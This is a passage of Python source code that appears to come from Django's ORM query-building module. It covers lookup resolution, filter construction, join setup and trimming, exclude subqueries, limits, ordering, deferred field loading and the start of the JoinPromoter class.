        # For Oracle '' is equivalent to null. The check needs to be done
        # at this stage because join promotion can't be done at compiler
        # stage. Using DEFAULT_DB_ALIAS isn't nice, but it is the best we
        # can do here. Similar thing is done in is_nullable(), too.
        if (connections[DEFAULT_DB_ALIAS].features.interprets_empty_strings_as_nulls and
                lookups[-1] == 'exact' and value == ''):
            value = True
            lookups[-1] = 'isnull'
        return value, lookups, used_joins

    def solve_lookup_type(self, lookup):
        """
        Solve the lookup type from the lookup (eg: 'foobar__id__icontains')
        """
        lookup_splitted = lookup.split(LOOKUP_SEP)
        if self._annotations:
            expression, expression_lookups = refs_expression(lookup_splitted, self.annotations)
            if expression:
                return expression_lookups, (), expression
        _, field, _, lookup_parts = self.names_to_path(lookup_splitted, self.get_meta())
        field_parts = lookup_splitted[0:len(lookup_splitted) - len(lookup_parts)]
        if len(lookup_parts) == 0:
            lookup_parts = ['exact']
        elif len(lookup_parts) > 1:
            if not field_parts:
                raise FieldError(
                    'Invalid lookup "%s" for model %s".' %
                    (lookup, self.get_meta().model.__name__))
        return lookup_parts, field_parts, False

    def check_query_object_type(self, value, opts, field):
        """
        Checks whether the object passed while querying is of the correct type.
        If not, it raises a ValueError specifying the wrong object.
        """
        if hasattr(value, '_meta'):
            if not check_rel_lookup_compatibility(value._meta.model, opts, field):
                raise ValueError(
                    'Cannot query "%s": Must be "%s" instance.' %
                    (value, opts.object_name))

    def check_related_objects(self, field, value, opts):
        """
        Checks the type of object passed to query relations.
        """
        if field.is_relation:
            # QuerySets implement is_compatible_query_object_type() to
            # determine compatibility with the given field.
            if hasattr(value, 'is_compatible_query_object_type'):
                if not value.is_compatible_query_object_type(opts, field):
                    raise ValueError(
                        'Cannot use QuerySet for "%s": Use a QuerySet for "%s".' %
                        (value.model._meta.model_name, opts.object_name)
                    )
            elif hasattr(value, '_meta'):
                self.check_query_object_type(value, opts, field)
            elif hasattr(value, '__iter__'):
                for v in value:
                    self.check_query_object_type(v, opts, field)

    def build_lookup(self, lookups, lhs, rhs):
        """
        Tries to extract transforms and lookup from given lhs.

        The lhs value is something that works like SQLExpression.
        The rhs value is what the lookup is going to compare against.
        The lookups is a list of names to extract using get_lookup()
        and get_transform().
        """
        lookups = lookups[:]
        while lookups:
            name = lookups[0]
            # If there is just one part left, try first get_lookup() so
            # that if the lhs supports both transform and lookup for the
            # name, then lookup will be picked.
            if len(lookups) == 1:
                final_lookup = lhs.get_lookup(name)
                if not final_lookup:
                    # We didn't find a lookup. We are going to interpret
                    # the name as transform, and do an Exact lookup against
                    # it.
                    lhs = self.try_transform(lhs, name, lookups)
                    final_lookup = lhs.get_lookup('exact')
                return final_lookup(lhs, rhs)
            lhs = self.try_transform(lhs, name, lookups)
            lookups = lookups[1:]

    def try_transform(self, lhs, name, rest_of_lookups):
        """
        Helper method for build_lookup. Tries to fetch and initialize
        a transform for name parameter from lhs.
        """
        transform_class = lhs.get_transform(name)
        if transform_class:
            return transform_class(lhs)
        else:
            raise FieldError(
                "Unsupported lookup '%s' for %s or join on the field not "
                "permitted." %
                (name, lhs.output_field.__class__.__name__))

    def build_filter(self, filter_expr, branch_negated=False, current_negated=False,
                     can_reuse=None, connector=AND, allow_joins=True, split_subq=True):
        """
        Builds a WhereNode for a single filter clause, but doesn't add it
        to this Query. Query.add_q() will then add this filter to the where
        Node.

        The 'branch_negated' tells us if the current branch contains any
        negations. This will be used to determine if subqueries are needed.

        The 'current_negated' is used to determine if the current filter is
        negated or not and this will be used to determine if IS NULL filtering
        is needed.

        The difference between current_netageted and branch_negated is that
        branch_negated is set on first negation, but current_negated is
        flipped for each negation.

        Note that add_filter will not do any negating itself, that is done
        upper in the code by add_q().

        The 'can_reuse' is a set of reusable joins for multijoins.

        The method will create a filter clause that can be added to the current
        query. However, if the filter isn't added to the query then the caller
        is responsible for unreffing the joins used.
        """
        if isinstance(filter_expr, dict):
            raise FieldError("Cannot parse keyword query as dict")
        arg, value = filter_expr
        if not arg:
            raise FieldError("Cannot parse keyword query %r" % arg)
        lookups, parts, reffed_expression = self.solve_lookup_type(arg)
        if not allow_joins and len(parts) > 1:
            raise FieldError("Joined field references are not permitted in this query")

        # Work out the lookup type and remove it from the end of 'parts',
        # if necessary.
        value, lookups, used_joins = self.prepare_lookup_value(value, lookups, can_reuse, allow_joins)

        clause = self.where_class()
        if reffed_expression:
            condition = self.build_lookup(lookups, reffed_expression, value)
            clause.add(condition, AND)
            return clause, []

        opts = self.get_meta()
        alias = self.get_initial_alias()
        allow_many = not branch_negated or not split_subq

        try:
            field, sources, opts, join_list, path = self.setup_joins(
                parts, opts, alias, can_reuse=can_reuse, allow_many=allow_many)

            # Prevent iterator from being consumed by check_related_objects()
            if isinstance(value, Iterator):
                value = list(value)
            self.check_related_objects(field, value, opts)

            # split_exclude() needs to know which joins were generated for the
            # lookup parts
            self._lookup_joins = join_list
        except MultiJoin as e:
            return self.split_exclude(filter_expr, LOOKUP_SEP.join(parts[:e.level]),
                                      can_reuse, e.names_with_path)

        if can_reuse is not None:
            can_reuse.update(join_list)
        used_joins = set(used_joins).union(set(join_list))
        targets, alias, join_list = self.trim_joins(sources, join_list, path)

        if field.is_relation:
            # No support for transforms for relational fields
            num_lookups = len(lookups)
            if num_lookups > 1:
                raise FieldError('Related Field got invalid lookup: {}'.format(lookups[0]))
            assert num_lookups > 0  # Likely a bug in Django if this fails.
            lookup_class = field.get_lookup(lookups[0])
            if len(targets) == 1:
                lhs = targets[0].get_col(alias, field)
            else:
                lhs = MultiColSource(alias, targets, sources, field)
            condition = lookup_class(lhs, value)
            lookup_type = lookup_class.lookup_name
        else:
            col = targets[0].get_col(alias, field)
            condition = self.build_lookup(lookups, col, value)
            lookup_type = condition.lookup_name

        clause.add(condition, AND)

        require_outer = lookup_type == 'isnull' and value is True and not current_negated
        if current_negated and (lookup_type != 'isnull' or value is False):
            require_outer = True
            if (lookup_type != 'isnull' and (
                    self.is_nullable(targets[0]) or
                    self.alias_map[join_list[-1]].join_type == LOUTER)):
                # The condition added here will be SQL like this:
                # NOT (col IS NOT NULL), where the first NOT is added in
                # upper layers of code. The reason for addition is that if col
                # is null, then col != someval will result in SQL "unknown"
                # which isn't the same as in Python. The Python None handling
                # is wanted, and it can be gotten by
                # (col IS NULL OR col != someval)
                #   <=>
                # NOT (col IS NOT NULL AND col = someval).
                lookup_class = targets[0].get_lookup('isnull')
                clause.add(lookup_class(targets[0].get_col(alias, sources[0]), False), AND)
        return clause, used_joins if not require_outer else ()

    def add_filter(self, filter_clause):
        self.add_q(Q(**{filter_clause[0]: filter_clause[1]}))

    def add_q(self, q_object):
        """
        A preprocessor for the internal _add_q(). Responsible for doing final
        join promotion.
        """
        # For join promotion this case is doing an AND for the added q_object
        # and existing conditions. So, any existing inner join forces the join
        # type to remain inner. Existing outer joins can however be demoted.
        # (Consider case where rel_a is LOUTER and rel_a__col=1 is added - if
        # rel_a doesn't produce any rows, then the whole condition must fail.
        # So, demotion is OK.
        existing_inner = set(
            (a for a in self.alias_map if self.alias_map[a].join_type == INNER))
        clause, _ = self._add_q(q_object, self.used_aliases)
        if clause:
            self.where.add(clause, AND)
        self.demote_joins(existing_inner)

    def _add_q(self, q_object, used_aliases, branch_negated=False,
               current_negated=False, allow_joins=True, split_subq=True):
        """
        Adds a Q-object to the current filter.
        """
        connector = q_object.connector
        current_negated = current_negated ^ q_object.negated
        branch_negated = branch_negated or q_object.negated
        target_clause = self.where_class(connector=connector,
                                         negated=q_object.negated)
        joinpromoter = JoinPromoter(q_object.connector, len(q_object.children), current_negated)
        for child in q_object.children:
            if isinstance(child, Node):
                child_clause, needed_inner = self._add_q(
                    child, used_aliases, branch_negated,
                    current_negated, allow_joins, split_subq)
                joinpromoter.add_votes(needed_inner)
            else:
                child_clause, needed_inner = self.build_filter(
                    child, can_reuse=used_aliases, branch_negated=branch_negated,
                    current_negated=current_negated, connector=connector,
                    allow_joins=allow_joins, split_subq=split_subq,
                )
                joinpromoter.add_votes(needed_inner)
            if child_clause:
                target_clause.add(child_clause, connector)
        needed_inner = joinpromoter.update_join_types(self)
        return target_clause, needed_inner

    def names_to_path(self, names, opts, allow_many=True, fail_on_missing=False):
        """
        Walks the list of names and turns them into PathInfo tuples. Note that
        a single name in 'names' can generate multiple PathInfos (m2m for
        example).

        'names' is the path of names to travel, 'opts' is the model Options we
        start the name resolving from, 'allow_many' is as for setup_joins().
        If fail_on_missing is set to True, then a name that can't be resolved
        will generate a FieldError.

        Returns a list of PathInfo tuples. In addition returns the final field
        (the last used join field), and target (which is a field guaranteed to
        contain the same value as the final field). Finally, the method returns
        those names that weren't found (which are likely transforms and the
        final lookup).
        """
        path, names_with_path = [], []
        for pos, name in enumerate(names):
            cur_names_with_path = (name, [])
            if name == 'pk':
                name = opts.pk.name

            field = None
            try:
                field = opts.get_field(name)
            except FieldDoesNotExist:
                if name in self.annotation_select:
                    field = self.annotation_select[name].output_field
                elif pos == 0:
                    for rel in opts.related_objects:
                        if (name == rel.related_model._meta.model_name and
                                rel.related_name == rel.related_model._meta.default_related_name):
                            related_name = rel.related_name
                            field = opts.get_field(related_name)
                            warnings.warn(
                                "Query lookup '%s' is deprecated in favor of "
                                "Meta.default_related_name '%s'."
                                % (name, related_name),
                                RemovedInDjango20Warning, 2
                            )
                            break

            if field is not None:
                # Fields that contain one-to-many relations with a generic
                # model (like a GenericForeignKey) cannot generate reverse
                # relations and therefore cannot be used for reverse querying.
                if field.is_relation and not field.related_model:
                    raise FieldError(
                        "Field %r does not generate an automatic reverse "
                        "relation and therefore cannot be used for reverse "
                        "querying. If it is a GenericForeignKey, consider "
                        "adding a GenericRelation." % name
                    )
                try:
                    model = field.model._meta.concrete_model
                except AttributeError:
                    model = None
            else:
                # We didn't find the current field, so move position back
                # one step.
                pos -= 1
                if pos == -1 or fail_on_missing:
                    field_names = list(get_field_names_from_opts(opts))
                    available = sorted(field_names + list(self.annotation_select))
                    raise FieldError("Cannot resolve keyword %r into field. "
                                     "Choices are: %s" % (name, ", ".join(available)))
                break
            # Check if we need any joins for concrete inheritance cases (the
            # field lives in parent, but we are currently in one of its
            # children)
            if model is not opts.model:
                # The field lives on a base class of the current model.
                # Skip the chain of proxy to the concrete proxied model
                proxied_model = opts.concrete_model

                for int_model in opts.get_base_chain(model):
                    if int_model is proxied_model:
                        opts = int_model._meta
                    else:
                        final_field = opts.parents[int_model]
                        targets = (final_field.remote_field.get_related_field(),)
                        opts = int_model._meta
                        path.append(PathInfo(final_field.model._meta, opts, targets, final_field, False, True))
                        cur_names_with_path[1].append(
                            PathInfo(final_field.model._meta, opts, targets, final_field, False, True)
                        )
            if hasattr(field, 'get_path_info'):
                pathinfos = field.get_path_info()
                if not allow_many:
                    for inner_pos, p in enumerate(pathinfos):
                        if p.m2m:
                            cur_names_with_path[1].extend(pathinfos[0:inner_pos + 1])
                            names_with_path.append(cur_names_with_path)
                            raise MultiJoin(pos + 1, names_with_path)
                last = pathinfos[-1]
                path.extend(pathinfos)
                final_field = last.join_field
                opts = last.to_opts
                targets = last.target_fields
                cur_names_with_path[1].extend(pathinfos)
                names_with_path.append(cur_names_with_path)
            else:
                # Local non-relational field.
                final_field = field
                targets = (field,)
                if fail_on_missing and pos + 1 != len(names):
                    raise FieldError(
                        "Cannot resolve keyword %r into field. Join on '%s'"
                        " not permitted." % (names[pos + 1], name))
                break
        return path, final_field, targets, names[pos + 1:]

    def setup_joins(self, names, opts, alias, can_reuse=None, allow_many=True):
        """
        Compute the necessary table joins for the passage through the fields
        given in 'names'. 'opts' is the Options class for the current model
        (which gives the table we are starting from), 'alias' is the alias for
        the table to start the joining from.

        The 'can_reuse' defines the reverse foreign key joins we can reuse. It
        can be None in which case all joins are reusable or a set of aliases
        that can be reused. Note that non-reverse foreign keys are always
        reusable when using setup_joins().

        If 'allow_many' is False, then any reverse foreign key seen will
        generate a MultiJoin exception.

        Returns the final field involved in the joins, the target field (used
        for any 'where' constraint), the final 'opts' value, the joins and the
        field path travelled to generate the joins.

        The target field is the field containing the concrete value. Final
        field can be something different, for example foreign key pointing to
        that value. Final field is needed for example in some value
        conversions (convert 'obj' in fk__id=obj to pk val using the foreign
        key field for example).
        """
        joins = [alias]
        # First, generate the path for the names
        path, final_field, targets, rest = self.names_to_path(
            names, opts, allow_many, fail_on_missing=True)

        # Then, add the path to the query's joins. Note that we can't trim
        # joins at this stage - we will need the information about join type
        # of the trimmed joins.
        for join in path:
            opts = join.to_opts
            if join.direct:
                nullable = self.is_nullable(join.join_field)
            else:
                nullable = True
            connection = Join(opts.db_table, alias, None, INNER, join.join_field, nullable)
            reuse = can_reuse if join.m2m else None
            alias = self.join(connection, reuse=reuse)
            joins.append(alias)
        return final_field, targets, opts, joins, path

    def trim_joins(self, targets, joins, path):
        """
        The 'target' parameter is the final field being joined to, 'joins'
        is the full list of join aliases. The 'path' contain the PathInfos
        used to create the joins.

        Returns the final target field and table alias and the new active
        joins.

        We will always trim any direct join if we have the target column
        available already in the previous table. Reverse joins can't be
        trimmed as we don't know if there is anything on the other side of
        the join.
        """
        joins = joins[:]
        for pos, info in enumerate(reversed(path)):
            if len(joins) == 1 or not info.direct:
                break
            join_targets = set(t.column for t in info.join_field.foreign_related_fields)
            cur_targets = set(t.column for t in targets)
            if not cur_targets.issubset(join_targets):
                break
            targets_dict = {r[1].column: r[0] for r in info.join_field.related_fields if r[1].column in cur_targets}
            targets = tuple(targets_dict[t.column] for t in targets)
            self.unref_alias(joins.pop())
        return targets, joins[-1], joins

    def resolve_ref(self, name, allow_joins=True, reuse=None, summarize=False):
        if not allow_joins and LOOKUP_SEP in name:
            raise FieldError("Joined field references are not permitted in this query")
        if name in self.annotations:
            if summarize:
                # Summarize currently means we are doing an aggregate() query
                # which is executed as a wrapped subquery if any of the
                # aggregate() elements reference an existing annotation. In
                # that case we need to return a Ref to the subquery's annotation.
                return Ref(name, self.annotation_select[name])
            else:
                return self.annotation_select[name]
        else:
            field_list = name.split(LOOKUP_SEP)
            field, sources, opts, join_list, path = self.setup_joins(
                field_list, self.get_meta(),
                self.get_initial_alias(), reuse)
            targets, _, join_list = self.trim_joins(sources, join_list, path)
            if len(targets) > 1:
                raise FieldError("Referencing multicolumn fields with F() objects "
                                 "isn't supported")
            if reuse is not None:
                reuse.update(join_list)
            col = targets[0].get_col(join_list[-1], sources[0])
            return col

    def split_exclude(self, filter_expr, prefix, can_reuse, names_with_path):
        """
        When doing an exclude against any kind of N-to-many relation, we need
        to use a subquery. This method constructs the nested query, given the
        original exclude filter (filter_expr) and the portion up to the first
        N-to-many relation field.

        As an example we could have original filter ~Q(child__name='foo').
        We would get here with filter_expr = child__name, prefix = child and
        can_reuse is a set of joins usable for filters in the original query.

        We will turn this into equivalent of:
            WHERE NOT (pk IN (SELECT parent_id FROM thetable
                              WHERE name = 'foo' AND parent_id IS NOT NULL))

        It might be worth it to consider using WHERE NOT EXISTS as that has
        saner null handling, and is easier for the backend's optimizer to
        handle.
        """
        # Generate the inner query.
        query = Query(self.model)
        query.add_filter(filter_expr)
        query.clear_ordering(True)
        # Try to have as simple as possible subquery -> trim leading joins from
        # the subquery.
        trimmed_prefix, contains_louter = query.trim_start(names_with_path)

        # Add extra check to make sure the selected field will not be null
        # since we are adding an IN <subquery> clause. This prevents the
        # database from tripping over IN (...,NULL,...) selects and returning
        # nothing
        col = query.select[0]
        select_field = col.target
        alias = col.alias
        if self.is_nullable(select_field):
            lookup_class = select_field.get_lookup('isnull')
            lookup = lookup_class(select_field.get_col(alias), False)
            query.where.add(lookup, AND)
        if alias in can_reuse:
            pk = select_field.model._meta.pk
            # Need to add a restriction so that outer query's filters are in effect for
            # the subquery, too.
            query.bump_prefix(self)
            lookup_class = select_field.get_lookup('exact')
            # Note that the query.select[0].alias is different from alias
            # due to bump_prefix above.
            lookup = lookup_class(pk.get_col(query.select[0].alias),
                                  pk.get_col(alias))
            query.where.add(lookup, AND)
            query.external_aliases.add(alias)

        condition, needed_inner = self.build_filter(
            ('%s__in' % trimmed_prefix, query),
            current_negated=True, branch_negated=True, can_reuse=can_reuse)
        if contains_louter:
            or_null_condition, _ = self.build_filter(
                ('%s__isnull' % trimmed_prefix, True),
                current_negated=True, branch_negated=True, can_reuse=can_reuse)
            condition.add(or_null_condition, OR)
            # Note that the end result will be:
            # (outercol NOT IN innerq AND outercol IS NOT NULL) OR outercol IS NULL.
            # This might look crazy but due to how IN works, this seems to be
            # correct. If the IS NOT NULL check is removed then outercol NOT
            # IN will return UNKNOWN. If the IS NULL check is removed, then if
            # outercol IS NULL we will not match the row.
        return condition, needed_inner

    def set_empty(self):
        self.where.add(NothingNode(), AND)

    def is_empty(self):
        return any(isinstance(c, NothingNode) for c in self.where.children)

    def set_limits(self, low=None, high=None):
        """
        Adjusts the limits on the rows retrieved. We use low/high to set these,
        as it makes it more Pythonic to read and write. When the SQL query is
        created, they are converted to the appropriate offset and limit values.

        Any limits passed in here are applied relative to the existing
        constraints. So low is added to the current low value and both will be
        clamped to any existing high value.
        """
        if high is not None:
            if self.high_mark is not None:
                self.high_mark = min(self.high_mark, self.low_mark + high)
            else:
                self.high_mark = self.low_mark + high
        if low is not None:
            if self.high_mark is not None:
                self.low_mark = min(self.high_mark, self.low_mark + low)
            else:
                self.low_mark = self.low_mark + low

        if self.low_mark == self.high_mark:
            self.set_empty()

    def clear_limits(self):
        """
        Clears any existing limits.
        """
        self.low_mark, self.high_mark = 0, None

    def can_filter(self):
        """
        Returns True if adding filters to this instance is still possible.

        Typically, this means no limits or offsets have been put on the results.
        """
        return not self.low_mark and self.high_mark is None

    def clear_select_clause(self):
        """
        Removes all fields from SELECT clause.
        """
        self.select = []
        self.default_cols = False
        self.select_related = False
        self.set_extra_mask(())
        self.set_annotation_mask(())

    def clear_select_fields(self):
        """
        Clears the list of fields to select (but not extra_select columns).
        Some queryset types completely replace any existing list of select
        columns.
        """
        self.select = []
        self.values_select = []

    def add_select(self, col):
        self.default_cols = False
        self.select.append(col)

    def set_select(self, cols):
        self.default_cols = False
        self.select = cols

    def add_distinct_fields(self, *field_names):
        """
        Adds and resolves the given fields to the query's "distinct on" clause.
        """
        self.distinct_fields = field_names
        self.distinct = True

    def add_fields(self, field_names, allow_m2m=True):
        """
        Adds the given (model) fields to the select set. The field names are
        added in the order specified.
        """
        alias = self.get_initial_alias()
        opts = self.get_meta()

        try:
            for name in field_names:
                # Join promotion note - we must not remove any rows here, so
                # if there is no existing joins, use outer join.
                _, targets, _, joins, path = self.setup_joins(
                    name.split(LOOKUP_SEP), opts, alias, allow_many=allow_m2m)
                targets, final_alias, joins = self.trim_joins(targets, joins, path)
                for target in targets:
                    self.add_select(target.get_col(final_alias))
        except MultiJoin:
            raise FieldError("Invalid field name: '%s'" % name)
        except FieldError:
            if LOOKUP_SEP in name:
                # For lookups spanning over relationships, show the error
                # from the model on which the lookup failed.
                raise
            else:
                names = sorted(list(get_field_names_from_opts(opts)) + list(self.extra) + list(self.annotation_select))
                raise FieldError("Cannot resolve keyword %r into field. "
                                 "Choices are: %s" % (name, ", ".join(names)))

    def add_ordering(self, *ordering):
        """
        Adds items from the 'ordering' sequence to the query's "order by"
        clause. These items are either field names (not column names) --
        possibly with a direction prefix ('-' or '?') -- or OrderBy
        expressions.

        If 'ordering' is empty, all ordering is cleared from the query.
        """
        errors = []
        for item in ordering:
            if not hasattr(item, 'resolve_expression') and not ORDER_PATTERN.match(item):
                errors.append(item)
            if getattr(item, 'contains_aggregate', False):
                raise FieldError(
                    'Using an aggregate in order_by() without also including '
                    'it in annotate() is not allowed: %s' % item
                )
        if errors:
            raise FieldError('Invalid order_by arguments: %s' % errors)
        if ordering:
            self.order_by.extend(ordering)
        else:
            self.default_ordering = False

    def clear_ordering(self, force_empty):
        """
        Removes any ordering settings. If 'force_empty' is True, there will be
        no ordering in the resulting query (not even the model's default).
        """
        self.order_by = []
        self.extra_order_by = ()
        if force_empty:
            self.default_ordering = False

    def set_group_by(self):
        """
        Expands the GROUP BY clause required by the query.

        This will usually be the set of all non-aggregate fields in the
        return data. If the database backend supports grouping by the
        primary key, and the query would be equivalent, the optimization
        will be made automatically.
        """
        self.group_by = []

        for col in self.select:
            self.group_by.append(col)

        if self.annotation_select:
            for alias, annotation in six.iteritems(self.annotation_select):
                for col in annotation.get_group_by_cols():
                    self.group_by.append(col)

    def add_select_related(self, fields):
        """
        Sets up the select_related data structure so that we only select
        certain related models (as opposed to all models, when
        self.select_related=True).
        """
        if isinstance(self.select_related, bool):
            field_dict = {}
        else:
            field_dict = self.select_related
        for field in fields:
            d = field_dict
            for part in field.split(LOOKUP_SEP):
                d = d.setdefault(part, {})
        self.select_related = field_dict

    def add_extra(self, select, select_params, where, params, tables, order_by):
        """
        Adds data to the various extra_* attributes for user-created additions
        to the query.
        """
        if select:
            # We need to pair any placeholder markers in the 'select'
            # dictionary with their parameters in 'select_params' so that
            # subsequent updates to the select dictionary also adjust the
            # parameters appropriately.
            select_pairs = OrderedDict()
            if select_params:
                param_iter = iter(select_params)
            else:
                param_iter = iter([])
            for name, entry in select.items():
                entry = force_text(entry)
                entry_params = []
                pos = entry.find("%s")
                while pos != -1:
                    if pos == 0 or entry[pos - 1] != '%':
                        entry_params.append(next(param_iter))
                    pos = entry.find("%s", pos + 2)
                select_pairs[name] = (entry, entry_params)
            # This is order preserving, since self.extra_select is an OrderedDict.
            self.extra.update(select_pairs)
        if where or params:
            self.where.add(ExtraWhere(where, params), AND)
        if tables:
            self.extra_tables += tuple(tables)
        if order_by:
            self.extra_order_by = order_by

    def clear_deferred_loading(self):
        """
        Remove any fields from the deferred loading set.
        """
        self.deferred_loading = (set(), True)

    def add_deferred_loading(self, field_names):
        """
        Add the given list of model field names to the set of fields to
        exclude from loading from the database when automatic column selection
        is done. The new field names are added to any existing field names that
        are deferred (or removed from any existing field names that are marked
        as the only ones for immediate loading).
        """
        # Fields on related models are stored in the literal double-underscore
        # format, so that we can use a set datastructure. We do the foo__bar
        # splitting and handling when computing the SQL column names (as part of
        # get_columns()).
        existing, defer = self.deferred_loading
        if defer:
            # Add to existing deferred names.
            self.deferred_loading = existing.union(field_names), True
        else:
            # Remove names from the set of any existing "immediate load" names.
            self.deferred_loading = existing.difference(field_names), False

    def add_immediate_loading(self, field_names):
        """
        Add the given list of model field names to the set of fields to
        retrieve when the SQL is executed ("immediate loading" fields). The
        field names replace any existing immediate loading field names. If
        there are field names already specified for deferred loading, those
        names are removed from the new field_names before storing the new names
        for immediate loading. (That is, immediate loading overrides any
        existing immediate values, but respects existing deferrals.)
        """
        existing, defer = self.deferred_loading
        field_names = set(field_names)
        if 'pk' in field_names:
            field_names.remove('pk')
            field_names.add(self.get_meta().pk.name)

        if defer:
            # Remove any existing deferred names from the current set before
            # setting the new names.
            self.deferred_loading = field_names.difference(existing), False
        else:
            # Replace any existing "immediate load" field names.
            self.deferred_loading = field_names, False

    def get_loaded_field_names(self):
        """
        If any fields are marked to be deferred, returns a dictionary mapping
        models to a set of names in those fields that will be loaded. If a
        model is not in the returned dictionary, none of its fields are
        deferred.

        If no fields are marked for deferral, returns an empty dictionary.
        """
        # We cache this because we call this function multiple times
        # (compiler.fill_related_selections, query.iterator)
        try:
            return self._loaded_field_names_cache
        except AttributeError:
            collection = {}
            self.deferred_to_data(collection, self.get_loaded_field_names_cb)
            self._loaded_field_names_cache = collection
            return collection

    def get_loaded_field_names_cb(self, target, model, fields):
        """
        Callback used by get_deferred_field_names().
        """
        target[model] = {f.attname for f in fields}

    def set_annotation_mask(self, names):
        "Set the mask of annotations that will actually be returned by the SELECT"
        if names is None:
            self.annotation_select_mask = None
        else:
            self.annotation_select_mask = set(names)
        self._annotation_select_cache = None

    def append_annotation_mask(self, names):
        if self.annotation_select_mask is not None:
            self.set_annotation_mask(set(names).union(self.annotation_select_mask))

    def set_extra_mask(self, names):
        """
        Set the mask of extra select items that will be returned by SELECT,
        we don't actually remove them from the Query since they might be used
        later
        """
        if names is None:
            self.extra_select_mask = None
        else:
            self.extra_select_mask = set(names)
        self._extra_select_cache = None

    def set_values(self, fields):
        self.select_related = False
        self.clear_deferred_loading()
        self.clear_select_fields()

        if self.group_by is True:
            self.add_fields((f.attname for f in self.model._meta.concrete_fields), False)
            self.set_group_by()
            self.clear_select_fields()

        if fields:
            field_names = []
            extra_names = []
            annotation_names = []
            if not self._extra and not self._annotations:
                # Shortcut - if there are no extra or annotations, then
                # the values() clause must be just field names.
                field_names = list(fields)
            else:
                self.default_cols = False
                for f in fields:
                    if f in self.extra_select:
                        extra_names.append(f)
                    elif f in self.annotation_select:
                        annotation_names.append(f)
                    else:
                        field_names.append(f)
            self.set_extra_mask(extra_names)
            self.set_annotation_mask(annotation_names)
        else:
            field_names = [f.attname for f in self.model._meta.concrete_fields]

        self.values_select = field_names
        self.add_fields(field_names, True)

    @property
    def annotation_select(self):
        """The OrderedDict of aggregate columns that are not masked, and should
        be used in the SELECT clause.

        This result is cached for optimization purposes.
        """
        if self._annotation_select_cache is not None:
            return self._annotation_select_cache
        elif not self._annotations:
            return {}
        elif self.annotation_select_mask is not None:
            self._annotation_select_cache = OrderedDict(
                (k, v) for k, v in self.annotations.items()
                if k in self.annotation_select_mask
            )
            return self._annotation_select_cache
        else:
            return self.annotations

    @property
    def extra_select(self):
        if self._extra_select_cache is not None:
            return self._extra_select_cache
        if not self._extra:
            return {}
        elif self.extra_select_mask is not None:
            self._extra_select_cache = OrderedDict(
                (k, v) for k, v in self.extra.items()
                if k in self.extra_select_mask
            )
            return self._extra_select_cache
        else:
            return self.extra

    def trim_start(self, names_with_path):
        """
        Trims joins from the start of the join path. The candidates for trim
        are the PathInfos in names_with_path structure that are m2m joins.

        Also sets the select column so the start matches the join.

        This method is meant to be used for generating the subquery joins &
        cols in split_exclude().

        Returns a lookup usable for doing outerq.filter(lookup=self). Returns
        also if the joins in the prefix contain a LEFT OUTER join.
        _"""
        all_paths = []
        for _, paths in names_with_path:
            all_paths.extend(paths)
        contains_louter = False
        # Trim and operate only on tables that were generated for
        # the lookup part of the query. That is, avoid trimming
        # joins generated for F() expressions.
        lookup_tables = [t for t in self.tables if t in self._lookup_joins or t == self.tables[0]]
        for trimmed_paths, path in enumerate(all_paths):
            if path.m2m:
                break
            if self.alias_map[lookup_tables[trimmed_paths + 1]].join_type == LOUTER:
                contains_louter = True
            alias = lookup_tables[trimmed_paths]
            self.unref_alias(alias)
        # The path.join_field is a Rel, lets get the other side's field
        join_field = path.join_field.field
        # Build the filter prefix.
        paths_in_prefix = trimmed_paths
        trimmed_prefix = []
        for name, path in names_with_path:
            if paths_in_prefix - len(path) < 0:
                break
            trimmed_prefix.append(name)
            paths_in_prefix -= len(path)
        trimmed_prefix.append(
            join_field.foreign_related_fields[0].name)
        trimmed_prefix = LOOKUP_SEP.join(trimmed_prefix)
        # Lets still see if we can trim the first join from the inner query
        # (that is, self). We can't do this for LEFT JOINs because we would
        # miss those rows that have nothing on the outer side.
        if self.alias_map[lookup_tables[trimmed_paths + 1]].join_type != LOUTER:
            select_fields = [r[0] for r in join_field.related_fields]
            select_alias = lookup_tables[trimmed_paths + 1]
            self.unref_alias(lookup_tables[trimmed_paths])
            extra_restriction = join_field.get_extra_restriction(
                self.where_class, None, lookup_tables[trimmed_paths + 1])
            if extra_restriction:
                self.where.add(extra_restriction, AND)
        else:
            # TODO: It might be possible to trim more joins from the start of the
            # inner query if it happens to have a longer join chain containing the
            # values in select_fields. Lets punt this one for now.
            select_fields = [r[1] for r in join_field.related_fields]
            select_alias = lookup_tables[trimmed_paths]
        # The found starting point is likely a Join instead of a BaseTable reference.
        # But the first entry in the query's FROM clause must not be a JOIN.
        for table in self.tables:
            if self.alias_refcount[table] > 0:
                self.alias_map[table] = BaseTable(self.alias_map[table].table_name, table)
                break
        self.set_select([f.get_col(select_alias) for f in select_fields])
        return trimmed_prefix, contains_louter

    def is_nullable(self, field):
        """
        A helper to check if the given field should be treated as nullable.

        Some backends treat '' as null and Django treats such fields as
        nullable for those backends. In such situations field.null can be
        False even if we should treat the field as nullable.
        """
        # We need to use DEFAULT_DB_ALIAS here, as QuerySet does not have
        # (nor should it have) knowledge of which connection is going to be
        # used. The proper fix would be to defer all decisions where
        # is_nullable() is needed to the compiler stage, but that is not easy
        # to do currently.
        if connections[DEFAULT_DB_ALIAS].features.interprets_empty_strings_as_nulls and field.empty_strings_allowed:
            return True
        else:
            return field.null


def get_order_dir(field, default='ASC'):
    """
    Returns the field name and direction for an order specification. For
    example, '-foo' is returned as ('foo', 'DESC').

    The 'default' param is used to indicate which way no prefix (or a '+'
    prefix) should sort. The '-' prefix always sorts the opposite way.
    """
    dirn = ORDER_DIR[default]
    if field[0] == '-':
        return field[1:], dirn[1]
    return field, dirn[0]


def add_to_dict(data, key, value):
    """
    A helper function to add "value" to the set of values for "key", whether or
    not "key" already exists.
    """
    if key in data:
        data[key].add(value)
    else:
        data[key] = {value}


def is_reverse_o2o(field):
    """
    A little helper to check if the given field is reverse-o2o. The field is
    expected to be some sort of relation field or related object.
    """
    return field.is_relation and field.one_to_one and not field.concrete


class JoinPromoter(object):
    """
    A class to abstract away join promotion problems for complex filter
    conditions.
    """

    def __init__(self, connector, num_children, negated):
        self.connector = connector
        self.negated = negated
        if self.negated:
            if connector == AND:
                self.effective_connector = OR
            else:
                self.effective_connector = AND
        else:
            self.effective_connector = self.connector
        self.num_children = num_children
        # Maps of table alias to how many times it is seen as required for
        # inner and/or outer joins.
        self.votes = Counter()

    def add_votes(self, votes):
        """
        Add single vote per item to self.votes. Parameter can be any
        iterable.
        """
        self.votes.update(votes)

    def update_join_types(self, query):
        """
        Change join types so that the generated query is as efficient as
        possible, but still correct. So, change as many joins as possible
